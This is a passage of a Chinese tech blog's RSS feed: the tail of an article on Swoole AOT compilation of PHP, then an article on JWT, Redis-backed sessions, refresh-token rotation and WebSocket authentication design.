<p>它可能降低三类能力的门槛：</p><ul><li>把热点算法封装成扩展；</li><li>将商业核心逻辑以二进制形式交付；</li><li>在普通 PHP 项目中复用 AOT 生成的原生模块。</li></ul><p>这甚至可能比“整个框架全部 AOT”更快进入真实生产：不动现有 Web 架构，只把最值得优化、最需要保护的部分编译掉。</p><h3 id="php--c-">第四条路：PHP 与 C++ 的边界被进一步打通</h3><p>Swoole AOT 提供了 PHPX 与 C++ 互操作能力。官方文档给出的思路，是让 C++ 函数使用 <code>php::</code> 类型声明参数和返回值，再从 PHP 直接调用。</p><p>简化后的 C++ 函数类似：</p><pre class="language-cpp lang-cpp"><code class="language-cpp lang-cpp">#include &lt;phpx.h&gt;

php::String greet(php::String name)
{
    return php::String(&quot;Hello, &quot;) + name;
}

php::Int add(php::Int left, php::Int right)
{
    return left + right;
}
</code></pre>
<p>PHP 侧仍然保持熟悉的调用方式：</p><pre class="language-php lang-php"><code class="language-php lang-php">&lt;?php
declare(strict_types=1);

use native_types;

function main(): void
{
    echo greet(&quot;World&quot;) . &quot;\n&quot;;
    echo add(10, 20) . &quot;\n&quot;;
}
</code></pre>
<p>这类能力适合图像、音视频、科学计算、硬件 SDK 和已有 C++ 资产。但真正进入生产，还要认真处理 ABI、内存所有权、异常边界、线程模型和依赖分发。所谓“无胶水代码”，不应该被理解成“没有工程成本”。具体接口应以<a href="https://www.swoole.com/aot/docs/cxx">官方 C++ 互操作文档</a>为准。</p><h3 id="php-">第五条路：PHP 生态可能分成两种语言气质</h3><p>未来可能长期共存两种 PHP：</p><p>一种是我们熟悉的 ZendPHP：动态、灵活、部署简单，适合 Web、模板、插件和快速业务迭代。</p><p>另一种是 AOT 约束下的 PHP 子集：严格类型、明确入口、限制动态特性、强调编译期确定性，适合原生程序、计算模块和二进制交付。</p><p>它们未必互相取代。就像 Python 同时拥有 CPython、Cython、Numba 和各种原生扩展路线，PHP 也可能保留动态生产力，同时在需要性能与交付能力的地方选择更严格的编译模型。</p><p>真正的问题不是“PHP 应不应该抛弃动态性”，而是：</p><blockquote><p><strong>PHP 能否让开发者按场景选择动态性，并清楚知道每一次动态选择付出了什么代价。</strong></p></blockquote>
<h2 id="">必须泼的几盆冷水</h2><p>技术演进需要想象力，更需要边界感。</p><h3 id="">它仍是商业闭源软件</h3><p>当前 AOT 编译器不提供完整公开源码。按照现有官方 FAQ，非商业应用可以免费使用，商业应用需要购买授权；具体范围仍应以使用时的最新条款为准。闭源并不等于技术无价值，但会影响可审计性、供应链信任、长期维护和社区贡献方式。</p><p>尤其当我们谈“自举”时，开源社区能够从零复现的自举，与厂商发布一个自举后的二进制，在工程透明度上不是同一回事。</p><h3 id="-c">“接近 C++”只在特定代码上成立</h3><p>原生整数循环、固定对象布局和可内联函数，确实有机会接近 C++ 生成代码。但 PHP 数组、字符串、动态对象、Zend 扩展调用和 I/O 等待仍然存在真实成本。</p><p>一段 <code>fib()</code> 快几百倍，不能推出 Laravel 订单接口也会快几百倍。</p><h3 id="">“绝对内存安全”是过强表述</h3><p>即使用户层 PHP 没有裸指针，底层仍包含 C++、Zend Engine、扩展、动态库和 ABI 交互。只要系统进入原生世界，就不能仅凭语言表层没有 <code>unsafe</code> 关键字，便宣布整个执行栈绝对安全。</p><p>更严谨的说法是：AOT 可以保留 PHP 用户代码较高层的内存管理体验，但底层原生组件仍需传统系统工程的安全审计。</p><h3 id="">文档和兼容性仍在快速变化</h3><p>安装页、Release 版本、动态语法说明和部署依赖之间仍有需要持续核对的地方。今天不能编译的语法，未来可能支持；今天允许回退 ZendVM 的路径，未来也可能调整。</p><p>因此，现在最合适的态度不是全面迁移，而是选一个边界清晰的 CLI 或计算模块，建立独立验证项目，亲自测试：</p><ul><li>能否正确编译；</li><li>与 ZendPHP 的结果是否一致；</li><li>性能提升来自哪里；</li><li>二进制依赖能否接受；</li><li>调试和发布成本是否值得。</li></ul><h2 id="-php-">自举不是终点，而是 PHP 开始重新定义边界</h2><p>Swoole AOT 还没有让 PHP 成为下一个 Go 或 Rust。</p><p>它不是 PHP 官方编译器的重写，不是 Zend Engine 的彻底替代，也没有让每一个 Laravel、ThinkPHP、Hyperf 项目自动获得十倍性能。它目前还是商业闭源的预览产品，兼容性、构建环境和部署依赖都需要时间验证。</p><p>但如果因此认为它只是“又一个 PHP 加密器”，同样低估了这件事。</p><p>从 Opcode 加密走向原生机器码，从部署源码走向二进制交付，从依靠 ZendVM 执行一切走向原生代码与 Zend 生态混合执行，Swoole AOT 正在尝试改变的，是 PHP 的工程边界。</p><p>一门语言是否成熟，不只看它能写多少网站，还要看它能不能制造自己的工具、管理自己的运行时，并走出最初为它划定的使用场景。</p><blockquote><p><strong>自举不是语言登顶的勋章，而是它终于有能力制造下一把梯子。</strong></p></blockquote>
<p>Swoole AOT 的这把梯子还很新，甚至有些摇晃。它能不能通向更广阔的原生程序世界，现在没人能下定论。</p><p>但它至少证明了一件事：</p><p><strong>PHP 的终点，从来不必只是等待下一次 HTTP 请求。</strong></p><h2 id="">参考资料</h2><blockquote><p>版本、授权和兼容性信息核查于 2026 年 7 月 15 日；AOT 仍在快速迭代，实际使用前应再次核对官方文档。</p></blockquote>
<ul><li><a href="https://www.swoole.com/aot/docs/install">Swoole AOT：安装软件</a></li><li><a href="https://www.swoole.com/aot/docs/compile">Swoole AOT：编译</a></li><li><a href="https://www.swoole.com/aot/docs/execution">Swoole AOT：执行过程</a></li><li><a href="https://www.swoole.com/aot/docs/compatible">Swoole AOT：兼容性</a></li><li><a href="https://www.swoole.com/aot/docs/performance">Swoole AOT：性能</a></li><li><a href="https://www.swoole.com/aot/docs/cxx">Swoole AOT：C++ 互操作</a></li><li><a href="https://github.com/swoole/typephp/releases">Swoole TypePHP Releases</a></li><li><a href="https://go.dev/doc/go1.5#implementation">Go 1.5 Release Notes：The Implementation</a></li><li><a href="https://rustc-dev-guide.rust-lang.org/building/bootstrapping/what-bootstrapping-does.html">Rust Compiler Development Guide：What Bootstrapping Does</a></li><li><a href="https://github.com/php/doc-en/blob/master/reference/opcache/book.xml">PHP 官方 OPcache 文档源码</a></li></ul></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/programming_star/Swoole-AOT-PHP-Self-Hosting-Bootstrap-Go-Rust#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/programming_star/Swoole-AOT-PHP-Self-Hosting-Bootstrap-Go-Rust</link><guid isPermaLink="true">https://ctexthuang.com/posts/programming_star/Swoole-AOT-PHP-Self-Hosting-Bootstrap-Go-Rust</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Wed, 15 Jul 2026 10:00:14 GMT</pubDate></item><item><title><![CDATA[JWT 不是无状态银弹：Session、Redis 与 WebSocket 分布式鉴权的工程取舍]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/programming_star/JWT-Redis-Session-WebSocket-Auth-Tradeoffs">https://ctexthuang.com/posts/programming_star/JWT-Redis-Session-WebSocket-Auth-Tradeoffs</a></blockquote><div><p>技术争论里最容易吵起来的，往往不是某个方案能不能用，而是大家拿着不同的前提在争同一个词。</p><p>比如一句“把 token 存到 Redis，登录一次变一次，旧 token 请求接口就作废”，有人会立刻说：这不就是 Session 吗？JWT 的优势全被你干没了。另一边也会反驳：我就是要单点登录、踢人、封号、改密后立即失效，不查 Redis 怎么保证？</p><p>真正的问题不在于“JWT 能不能存 Redis”，而在于你必须承认自己到底在做什么。</p><p><strong>JWT + Redis 不是错误方案，但它已经不是纯无状态认证。它是以 JWT 作为票据格式，以 Redis 作为会话控制面的混合式鉴权。</strong></p><p>这句话把争端基本就解开了。JWT 不是宗教，Session 也不是落后。无状态不是银弹，有状态也不等于低级。它们只是把系统复杂度放在了不同位置。</p><h2 id="jwt-">争论的核心：JWT 是票据，不是会话治理</h2><p>如果你的系统只需要普通 API 鉴权，用户登录后拿一个短期 <code>access_token</code>，服务端只校验签名和过期时间，不关心旧 token 是否立刻失效，那么纯 JWT 很舒服。任意节点只要拿到密钥或公钥，就能独立完成校验，横向扩容也简单。</p><p>但如果你的系统要求一个账号只能同时登录一个设备，新登录后旧登录立刻失效，修改密码、封号、踢人必须实时生效，WebSocket 长连接还要能被服务端主动断开，那就不要再执着“纯无状态”了。你天然需要服务端状态。</p><p>这不是退步，而是需求本身决定的。</p><p>所谓工程判断，本质上就是承认代价，然后把代价放在最可控的位置。对于登录态这种安全边界，很多时候把状态放回服务端，反而比假装自己无状态更可靠。</p><p>实际项目里，这个分歧通常不是出现在登录接口刚写完的时候，而是出现在需求开始“长牙”以后。第一版只需要登录、带 token 访问接口、过期重新登录，看起来 JWT 非常漂亮；第二版产品说一个账号只能一个设备在线；第三版安全同学说改密后所有旧登录态必须立刻失效；第四版运营后台要支持封号、踢人、冻结高风险用户；第五版你又接入了 WebSocket，用户已经连上服务器，不会等下一次 HTTP 请求才暴露问题。</p><p>到这个阶段，继续坚持“服务端绝不保存状态”就不再是架构洁癖，而是在和需求作对。系统当然还能硬撑，比如把 access token 做得极短，靠频繁刷新缩小失效窗口；或者维护一张黑名单，所有请求先查 token 是否被吊销；或者在 JWT 里塞一个用户版本号，每次请求再去查版本是否一致。但只要你开始做这些事，本质上就已经承认：身份凭证之外，还需要一个服务端控制面。</p><p>所以这篇文章真正想讨论的不是 JWT 和 Session 谁赢谁输，而是一个更朴素的问题：当业务需要强控制时，状态应该放在哪里，怎么放，失败时怎么办。</p><p>“无状态认证”的核心是：服务端不保存每一个客户端的会话事实，每次请求都携带足够的信息，服务端通过签名、时间和声明完成判断。“有状态认证”的核心是：服务端保存会话事实，客户端只持有一个索引或票据，每次请求都要回到服务端状态存储里确认它是否仍然有效。</p><p>这两种模型的差异可以简单拆开：</p><table><thead><tr><th> 维度 </th><th> 偏无状态认证 </th><th> 偏有状态认证 </th></tr></thead><tbody><tr><td> 典型技术 </td><td> 短期 JWT access token </td><td> Session + Cookie / Redis Session </td></tr><tr><td> 服务端是否保存登录态 </td><td> 理论上不保存单个会话事实 </td><td> 保存会话事实 </td></tr><tr><td> 横向扩容 </td><td> 容易，任意节点能验签 </td><td> 需要共享 Session 或集中存储 </td></tr><tr><td> 主动踢下线 </td><td> 不自然，需要额外状态 </td><td> 状态设计到位后更直接 </td></tr><tr><td> 修改密码后立即失效 </td><td> 不自然，需要版本号或黑名单 </td><td> 可通过删除会话或递增版本实现 </td></tr><tr><td> 单端登录 </td><td> 需要记录当前有效会话 </td><td> 可按用户或设备维度控制 </td></tr><tr><td> 每次请求成本 </td><td> 本地验签即可 </td><td> 通常要查 Redis / DB </td></tr><tr><td> 故障依赖 </td><td> 依赖密钥、时间和算法安全 </td><td> 依赖会话存储和网络稳定性 </td></tr></tbody></table><p>争论的关键不是“谁更高级”，而是你到底要吞下哪一种复杂度。纯 JWT 把复杂度放在 token 生命周期上：过期前很难强制收回。有状态 Session 把复杂度放在集中存储上：每次请求都要依赖 Redis、DB 或 Session 服务。</p><p>这也是很多讨论容易误导人的地方。有人说“JWT 不用查库，所以性能好”，这句话只在纯本地验签的前提下成立；如果你每次都拿 <code>jti</code> 查 Redis，它就已经不是那个性能模型了。有人说“Session 不能分布式”，这句话也只在 Session 存单机内存时成立；如果 Session 本来就在 Redis 或专门的会话服务里，多节点并不是问题，真正的问题变成了集中依赖、容量、延迟和故障恢复。</p><p>这也是为什么真实工程里最常见的不是二选一，而是混合模型。</p><p>JWT 的全称是 <code>JSON Web Token</code>。它本质上是一种紧凑的、可签名的声明载体，常见结构是：</p><pre class="language-text lang-text"><code class="language-text lang-text">header.payload.signature
</code></pre>
<p>它的价值在于可以把 <code>userId</code>、<code>sessionId</code>、<code>role</code>、<code>exp</code> 等声明放进 token；服务端可以通过签名确认内容没有被篡改；多个服务只要共享密钥或公钥，就能独立完成基础校验。它非常适合 API、移动端、微服务内部身份传递。</p><p>但 JWT 并不自动等于无状态。只要你的验证逻辑变成这样：</p><pre class="language-text lang-text"><code class="language-text lang-text">1. 校验 JWT 签名
2. 校验 exp 是否过期
3. 拿 JWT 里的 sid / jti 去 Redis 查是否仍然有效
4. Redis 里存在并匹配才放行
</code></pre>
<p>那这个系统就已经引入了服务端状态。</p><p>这没有问题。问题只在于你不能一边每次请求都查 Redis，一边还宣称自己是纯无状态架构。准确的说法应该是：</p><blockquote><p>我们使用 JWT 作为客户端凭证格式，但登录态有效性由 Redis 集中控制。</p></blockquote>
<p>这句话才是工程语言。</p><p>JWT 还有一个经常被忽略的安全边界：它不是加密。普通签名 JWT 的 <code>payload</code> 可以被任何拿到 token 的人解码查看，所以不要往里面塞手机号、身份证号、密码、密钥、支付信息这类敏感数据。JWT 防篡改，不防读取。除非你使用的是 JWE 这类加密型 token，否则它只是“签名票据”，不是“保险箱”。</p><p>Session 也不是落后技术。很多人嫌 Session 老，是因为早期 Session 经常和单体应用、浏览器 Cookie、服务端内存绑定在一起。一旦上了多节点，内存 Session 就会遇到负载均衡、节点重启、会话丢失的问题。但这不是 Session 模型的问题，而是存储位置的问题。</p><p>在现代架构里，Session 完全可以放在 Redis：</p><pre class="language-text lang-text"><code class="language-text lang-text">session:{sid} = {
  userId: 10001,
  loginAt: 1710000000,
  expireAt: 1710007200,
  device: &quot;ios&quot;,
  ip: &quot;1.2.3.4&quot;
}
</code></pre>
<p>客户端只拿一个 <code>sid</code>，服务端每次通过 <code>sid</code> 去 Redis 查真实会话。登出时删除 Session，踢人时删除 Session，封号时删除所有 Session，单端登录时只保留当前 Session，权限变化时更新服务端状态。它的控制力很强，代价也很直接：Redis 成了认证链路上的关键依赖。Redis 延迟、抖动、网络分区，都会影响认证稳定性。</p><p>这里也要说得准确一点：Session 不是“天然”解决所有问题，而是它把问题放在服务端以后，更容易用一致的方式解决。单端登录不是随便用了 Session 就自动出现，你仍然要设计 <code>userId -&gt; sid</code> 的映射；改密后全部失效也不是魔法，你仍然要删除用户所有 session，或者递增用户版本号；权限实时生效也不是凭空发生，你仍然要决定权限是每次读取，还是写入 session 后通过事件刷新。Session 的优势不在于免设计，而在于它承认服务端有最终控制权。</p><p>所以，JWT 适合身份声明，Session 适合会话控制。真正复杂的系统，往往两个都要。</p><h2 id="-jwt-refresh-tokenredis-">混合方案：短 JWT、可吊销 refresh token、Redis 会话控制面</h2><p>对于“登录一次变一次，旧 token 立即废掉”的需求，我更推荐一个混合方案：</p><pre class="language-text lang-text"><code class="language-text lang-text">短生命周期 access token
+ 可轮换、可吊销的 refresh token
+ Redis 保存当前有效会话 sid / version
</code></pre>
<p>这里的关键不是“把完整 JWT 原文扔进 Redis”，而是把会话控制权放在 Redis。登录成功后生成一个 <code>sid</code>，JWT 里不要只放 <code>userId</code>，还要放会话标识和版本号：</p><pre class="language-json lang-json"><code class="language-json lang-json">{
  &quot;sub&quot;: &quot;10001&quot;,
  &quot;sid&quot;: &quot;s_8f3a9c2e&quot;,
  &quot;ver&quot;: 12,
  &quot;iat&quot;: 1710000000,
  &quot;exp&quot;: 1710001800
}
</code></pre>
<p>Redis 里维护当前用户的有效会话：</p><pre class="language-text lang-text"><code class="language-text lang-text">auth:current_sid:{userId} = s_8f3a9c2e
auth:user_version:{userId} = 12
auth:session:{sid} = userId/device/ip/loginAt
</code></pre>
<p>每次请求的校验流程也很清楚：</p><pre class="language-text lang-text"><code class="language-text lang-text">1. 从 Authorization: Bearer &lt;token&gt; 中取出 JWT
2. 校验签名是否合法
3. 校验 exp 是否过期
4. 取出 sub、sid、ver
5. 查 Redis:
   - current_sid 是否等于 JWT.sid
   - user_version 是否等于 JWT.ver
   - session:{sid} 是否存在
6. 全部匹配，放行
7. 任意不匹配，返回 401
</code></pre>
<p>这样做以后，能力边界非常清晰：用户重新登录时覆盖 <code>current_sid</code>，旧 token 立即失效；用户修改密码时递增 <code>user_version</code>，所有旧 token 立即失效；管理员封号时删除 <code>session</code> 并标记用户状态，所有请求立即失败；单端登录只保留一个 <code>current_sid</code>；多端登录则把 <code>current_sid</code> 改成按设备维度管理的集合。</p><p><code>sid</code> 和 <code>version</code> 的职责最好分开理解。<code>sid</code> 解决的是“这一次登录会话是不是当前有效会话”，适合单端登录、设备管理、主动踢某个设备。<code>version</code> 解决的是“这个用户整体安全状态有没有变化”，适合改密、封号、权限体系大变更。只靠 <code>sid</code>，你可以踢掉某次登录，但处理“所有历史 token 一起失效”会比较笨；只靠 <code>version</code>，你可以批量失效，但很难精细地区分某台设备。</p><p>刷新 token 的流程也应该和这个模型对齐。客户端拿短期 <code>access_token</code> 请求接口；快过期时，用 <code>refresh_token</code> 去认证服务换新的 access token；认证服务验证 refresh token hash、会话状态、用户版本和设备状态都正常以后，才签发新的 access token。更严格的系统会做 refresh token rotation：每次刷新都废掉旧 refresh token，签发一个新的，并记录 token 家族。如果发现一个已经轮换过的 refresh token 又被使用，说明可能发生泄露，应该吊销整个会话家族。</p><pre class="language-text lang-text"><code class="language-text lang-text">auth:refresh:{hash(refresh_token)} = {
  userId,
  sid,
  familyId,
  rotatedAt,
  expiresAt,
  revoked: false
}
</code></pre>
<p>这样写的好处，是你没有把长期凭证明文放在服务端；即便 Redis 或数据库中的记录泄露，攻击者也不能直接拿记录去冒充用户。它不能消灭所有风险，但把风险从“拿到即用”降成了“还需要原始 token”。</p><p>这套方案牺牲了纯 JWT 的“完全本地验签”，换来了服务端对会话生命周期的强控制。这就是交易。没有免费的架构。</p><p>真正成熟的选型，不是先站队，而是先看场景：</p><table><thead><tr><th> 场景 </th><th> 更推荐的方案 </th><th> 原因 </th></tr></thead><tbody><tr><td> 普通开放 API </td><td> 短期 JWT </td><td> 易扩展，服务端无须保存每个会话 </td></tr><tr><td> 移动端 App </td><td> JWT access token + 可吊销 refresh token </td><td> access token 短期有效，refresh token 可控 </td></tr><tr><td> 管理后台 </td><td> Session / JWT + Redis </td><td> 需要踢人、封号、权限实时生效 </td></tr><tr><td> 单点登录 SSO </td><td> JWT + 中央认证服务 + 会话状态 </td><td> 跨系统传递身份，同时保留统一注销能力 </td></tr><tr><td> 微服务内部调用 </td><td> JWT / opaque token + 网关鉴权 </td><td> 适合跨服务传递身份上下文 </td></tr><tr><td> 单账号单端登录 </td><td> JWT + Redis 当前会话 </td><td> 纯 JWT 很难优雅完成 </td></tr><tr><td> WebSocket 长连接 </td><td> 握手鉴权 + Redis 会话 + 节点连接表 </td><td> 长连接必须能被服务端主动管理 </td></tr></tbody></table><p>这里还要补一个很容易被忽略的点：<code>refresh_token</code> 不应该被服务端当明文长期保存。更稳的做法是保存它的 hash、家族关系、轮换版本和吊销状态。客户端侧也要看场景处理：浏览器里优先使用 <code>HttpOnly</code>、<code>Secure</code>、<code>SameSite</code> 合理配置的 Cookie，移动端放系统安全存储，不要把长期 refresh token 随手塞进普通本地存储。</p><p><code>access_token</code> 则应该短。10 到 30 分钟是很多系统能接受的折中，具体要看风险等级和刷新成本。短 token 不能解决所有问题，但它能把泄露窗口压小，也能让黑名单不至于变成主路径。</p><p>如果你做的是后台管理、资金操作、企业内控系统，access token 可以更短，甚至在高风险操作前要求二次确认或重新认证。如果只是普通内容型 App，过短的 access token 会带来频繁刷新、移动网络抖动、用户体验下降的问题。这里没有一个放诸四海皆准的时间，只有风险和体验之间的账。</p><h2 id="redis-">Redis 不该当垃圾桶：状态、黑名单与故障边界</h2><p>很多人一上来就说“把 token 存 Redis”。这句话本身太粗糙了。</p><p>如果你把完整 JWT 原文直接存进去，然后每次拿客户端传来的 token 做字符串比对，也能工作，但不够优雅，也增加了敏感凭证泄露后的损害面。更好的方式是存 <code>sid</code>、<code>jti</code> 或 token hash：</p><pre class="language-text lang-text"><code class="language-text lang-text">auth:token_hash:{sha256(token)} = userId
</code></pre>
<p>或者只存当前有效的 <code>sid</code>：</p><pre class="language-text lang-text"><code class="language-text lang-text">auth:current_sid:10001 = s_8f3a9c2e
</code></pre>
<p>Redis 里也不应该塞无限增长的黑名单。黑名单适合处理短期异常，比如用户主动退出后，在 access token 剩余的几分钟内阻断它；如果 token 生命周期本身长达几天，再靠黑名单兜底，最后一定会变成运维债务。</p><p>黑名单最大的问题不是“不能用”，而是很容易被误用成主架构。它适合处理例外：某个 token 被怀疑泄露，用户主动登出后希望剩余几分钟内也不能用，或者安全系统临时拦截某个高风险凭证。它不适合承担所有会话生命周期控制。你越依赖黑名单，就越依赖每次请求都查黑名单；你 token 有效期越长，黑名单保留时间越长；用户越多，黑名单越像一个不断膨胀的安全垃圾场。</p><p>更稳的做法是：<code>access_token</code> 保持短期，<code>refresh_token</code> 支持轮换和吊销，会话控制通过 <code>sid</code> 和 <code>version</code> 完成，黑名单只处理极端安全事件，不做主路径设计。</p><p>同时，既然 Redis 成了会话控制面，就不能只讲能力，不讲故障。Redis 挂了怎么办？网络抖动怎么办？认证服务和 Redis 之间出现短暂分区怎么办？这些问题不提前定好，线上事故时就会变成临时拍脑袋。</p><p>对普通业务，我更倾向于认证链路 <code>fail closed</code>：Redis 查不到、查不动、查超时，就拒绝高风险请求，让用户重新认证。对低风险读接口，可以根据业务容忍度做短暂缓存或降级，但必须非常克制。因为登录态不是普通缓存，它是安全边界。你可以为了体验吞一点延迟，不能为了体验默认放行一个无法确认有效性的身份。</p><p>当然，<code>fail closed</code> 也不是一句口号就结束了。你要给 Redis 设置合理超时，不能让认证链路被一个慢查询拖死；要区分“Redis 明确返回会话不存在”和“Redis 暂时不可用”；要给登录、刷新、鉴权这些路径分别打指标，监控 Redis 延迟、命中率、错误率和 401/403 异常波动。很多认证事故不是因为方案错，而是因为系统不知道自己正在坏。</p><p>Redis key 也要有明确生命周期。<code>auth:session:{sid}</code> 应该带 TTL，<code>auth:current_sid:{userId}</code> 要和 session 生命周期保持一致，用户封号、改密、注销时要清理或递增版本。否则你以为自己获得了控制力，实际上只是把状态垃圾换了一个地方堆起来。</p><p>在多端登录场景里，key 结构还要再细一点。比如按设备保存 session，既能踢掉单台设备，也能在用户改密时一次性递增用户版本，让所有设备失效：</p><pre class="language-text lang-text"><code class="language-text lang-text">auth:user_version:{userId} = 12
auth:device_sessions:{userId} = set(deviceId...)
auth:session:{sid} = { userId, deviceId, ver, expiresAt }
</code></pre>
<p>这样，你可以清楚表达不同操作的影响范围：用户自己退出当前设备，只删当前 <code>sid</code>；管理员踢掉某台设备，只删对应 session；改密或封号，递增 <code>user_version</code> 并清理所有 session。状态不是越多越好，而是每一份状态都要有明确语义。</p><p>这部分的核心不是“Redis 很强”，而是“Redis 让状态变得可控”。可控的前提，是你承认它会失败，并且给失败留出边界。</p><h2 id="websocket">WebSocket：长连接让状态无法回避</h2><p>HTTP 请求是短连接语义。一次请求进来，验完就走。WebSocket 不一样，它是一条长时间挂在服务端进程里的连接。只要连接不断，用户就可能继续收消息、发消息、保持在线状态。</p><p>这意味着 WebSocket 天然有状态：哪个用户连在哪个节点，一个用户有几个连接，连接是否还活着，用户权限变了以后如何通知连接断开，某条消息应该推到哪些节点，节点重启后如何清理连接表。你不能拿“JWT 是无状态的”一句话解决这些问题。</p><p>握手阶段当然要鉴权，但 token 传递方式要谨慎。<code>wss://example.com/ws?token=xxx</code> 很常见，也很容易写进示例，但它不应该成为默认推荐，因为 query 参数容易进入日志、代理、监控和浏览器历史。浏览器场景可以考虑安全 Cookie、一次性握手 ticket，或者连接建立后的认证消息；非浏览器客户端可以使用握手 Header。确实要用 query，也应该使用短期、一次性、只用于换取连接身份的 ticket，而不是长期 access token。</p><p>如果 WebSocket 依赖 Cookie 鉴权，还要记得校验 <code>Origin</code>。浏览器发起跨站 WebSocket 时也可能自动带上 Cookie，服务端如果只看 Cookie 不看来源，就可能让恶意页面借用户身份建立连接。Cookie 方案不是不能用，但它必须和 <code>Secure</code>、<code>SameSite</code>、<code>Origin</code> 校验、TLS 一起讨论。</p><p>一个更稳的握手流程可以拆成两步：客户端先用正常 HTTP 请求向认证服务申请一次性 <code>ws_ticket</code>，服务端确认当前 access token、sid、version 都有效后，签发一个几十秒内有效、只能使用一次的 ticket；客户端再带这个 ticket 建立 WebSocket；WS 节点消费 ticket，换取用户身份并立刻作废。这样即便握手 URL 被日志记录，泄露窗口也很小。</p><pre class="language-text lang-text"><code class="language-text lang-text">1. HTTP: POST /ws-ticket，携带 access_token
2. Auth 校验 JWT + Redis sid/version
3. 返回一次性 ws_ticket，TTL 30-60 秒
4. WebSocket 握手携带 ws_ticket
5. WS 节点消费 ticket，建立 connId -&gt; userId/sid/nodeId
</code></pre>
<p>握手通过后，本机内存保存真实 socket，Redis 只保存路由索引：</p><pre class="language-text lang-text"><code class="language-text lang-text">local:
  connId -&gt; WebSocket 对象

redis:
  ws:conn:{connId} = { userId, sid, nodeId }
  ws:user:{userId} = set(connId...)
  ws:node:{nodeId} = set(connId...)
</code></pre>
<p>这里必须强调一句：<strong>真正的 WebSocket 连接不能存在 Redis。</strong></p><p>Redis 只能告诉你“这个用户的连接在哪个节点”，不能替你跨进程操作 socket。真正能给客户端发消息的，永远是持有那条连接的进程。</p><p>单点登录、封号、修改密码后的踢下线，需要走事件通知：</p><pre class="language-text lang-text"><code class="language-text lang-text">1. 用户在新设备登录
2. Auth 服务生成 newSid
3. Redis 更新 auth:current_sid:{userId} = newSid
4. 发布事件 auth:kick:{userId}
5. WS 节点收到事件
6. 节点检查本机该 userId 的连接
7. 如果连接 sid != newSid，则主动 close
</code></pre>
<p>关闭时可以定义业务关闭码：</p><pre class="language-text lang-text"><code class="language-text lang-text">4001 token expired
4002 logged in elsewhere
4003 permission revoked
4004 account disabled
</code></pre>
<p>这样客户端可以根据关闭码做不同提示，而不是一句笼统的“连接断开”。</p><p>对于长连接，还要考虑 token 续期。第一种做法，是让 WebSocket 连接生命周期不超过 access token 生命周期，到期前客户端主动重连。它简单，适合小系统和对重连不敏感的业务。第二种做法，是连接内增加 <code>refresh_auth</code> 消息，客户端拿到新 access token 后发给服务端，服务端重新校验签名、sid、version 和用户状态，并更新连接上下文里的 <code>expireAt</code>。它更复杂，但适合 IM、协作编辑、交易行情这类不希望频繁断线重连的系统。</p><pre class="language-json lang-json"><code class="language-json lang-json">{
  &quot;type&quot;: &quot;refresh_auth&quot;,
  &quot;accessToken&quot;: &quot;new.jwt.token&quot;
}
</code></pre>
<p>这一步不能只校验签名。用户可能已经被封号，密码可能已经修改，当前 sid 可能已经被新登录覆盖。如果连接内续期只看 JWT 是否没过期，就又绕回了“只认票据，不认会话事实”的老问题。</p><p>但这里还有一个工程细节：如果你用 Redis Pub/Sub 做踢下线通知，要承认它不持久化。节点重启或短暂掉线时，事件可能错过。因此小系统可以用 Pub/Sub，但最好配合心跳重验、定期校验 <code>sid/version</code> 或连接 TTL；如果踢下线必须可靠，就应该考虑 Redis Stream、RabbitMQ fanout/topic、NATS JetStream 或 Kafka 这类具备持久化或可回放能力的机制。</p><p>群聊和消息推送也是同一个原则：消息靠队列或事件总线路由，连接靠本机进程持有。节点 A 收到用户 A 的群消息后，可以写入 DB，投递 <code>group_message</code> 事件，事件里只放 <code>messageId</code> 和路由信息，消费者再去消息存储读取正文。这里不能笼统写“所有 WS 节点消费同一个队列”，因为普通队列通常是竞争消费，不会让每个节点都拿到事件。你要么使用 Pub/Sub、fanout exchange、topic 广播，要么提前算出目标 <code>nodeId</code>，把消息路由到持有连接的节点。</p><p>消息系统的选择也要围绕需求，而不是围绕名气。踢下线、权限刷新、在线状态广播，如果允许偶发事件通过心跳兜底，Redis Pub/Sub 可以先用；中小型 IM 需要可靠投递和消费确认，Redis Stream 或 RabbitMQ 更稳；大型群聊、消息审计、历史回放、跨服务追踪，Kafka 才更有意义；强实时推送和低延迟事件分发，可以评估 NATS。不要为了“架构漂亮”一上来就 Kafka，Kafka 解决的是大规模日志型事件和可回放，不是所有实时系统的默认答案。</p><p>连接索引也必须有清理机制。<code>ws:conn:{connId}</code>、<code>ws:user:{userId}</code>、<code>ws:node:{nodeId}</code> 这类 key 要有 TTL，连接心跳要刷新 TTL，正常断连要主动删除，节点宕机后要通过节点租约或定期扫描清理残留连接。否则 Redis 里的“在线用户”会慢慢变成一堆假在线。</p><p>更麻烦的是，连接状态往往和业务状态互相影响。用户已经离线但 Redis 里还残留连接，消息服务就可能继续向一个不存在的节点投递；用户已经被封号但某个 WS 节点错过踢下线事件，连接就可能继续存在；节点重启后本机连接全没了，但 Redis 还以为它持有一批 connId。分布式系统里，最危险的不是“没有状态”，而是“状态过期了却没人知道”。</p><p>所以分布式 WebSocket 的核心不是“所有节点都能发所有消息”，而是“所有节点都能知道消息该路由到哪里，然后由持有连接的节点完成投递”。这仍然是在讲会话控制：JWT 只能证明连接建立时“你是谁”，不能替服务端维护连接事实。</p><h2 id="">最后的判断：边界清晰比口号重要</h2><p>如果要把上面的讨论落成一套可交付方案，我会这样设计：</p><pre class="language-text lang-text"><code class="language-text lang-text">客户端：
  - 保存短期 access_token
  - 安全保存或通过 Cookie 持有 refresh_token
  - HTTP 请求携带 Authorization
  - WebSocket 使用安全 Cookie、一次性 ticket 或连接内认证

认证服务：
  - 负责登录、刷新、注销、踢人
  - 生成 JWT
  - 维护 Redis 中的 sid/version
  - 保存 refresh token hash、轮换版本和吊销状态

Redis：
  - 保存当前有效 session
  - 保存用户版本号
  - 保存 WS 连接索引并设置 TTL
  - 发布踢下线和权限变更事件

WS 网关：
  - 握手时校验身份凭证 + Redis 状态
  - 本机内存保存 connId -&gt; socket
  - Redis 保存 connId -&gt; nodeId
  - 监听踢下线事件
  - 心跳重验 sid/version，清理失效连接

消息系统：
  - 按可靠性要求选择 Pub/Sub、Stream、MQ 或 Kafka
  - 广播或路由跨节点消息事件
  - 支持削峰、回放或跨节点分发
</code></pre>
